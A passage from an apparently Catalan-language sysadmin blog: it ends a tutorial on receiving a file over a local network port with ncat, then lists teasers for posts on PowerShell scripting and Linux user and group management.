En l'ordinador remot (o en una altre consola del mateix) fem 

ncat localhost 1234 > copia.txt

Fem control-C i comprovem que s'ha rebut el contingut del fitxer prova.txt i s'ha bolcat en el fitxer copia.txt. Si no especifiquem fitxer destí, es mostrarà per pantalla.




 











diumenge, 7 d’abril del 2019

Programació de Windows amb Powershell

 Introducció a Powershell: cmdlets i objectes

Aquesta pàgina és una breu introducció al sistema d'scripting de Windows; se supposa que el lector té coneixements bàsics de programació a nivell de variables, paràmetres i estructure de control bàsiques.

Gestió d'usuaris i grups en Linux

Usuaris i grups Linux  Els comptes de Linux són com els comptes de Windows o MacOS; però els detalls no, així que cal explicar alguns detall...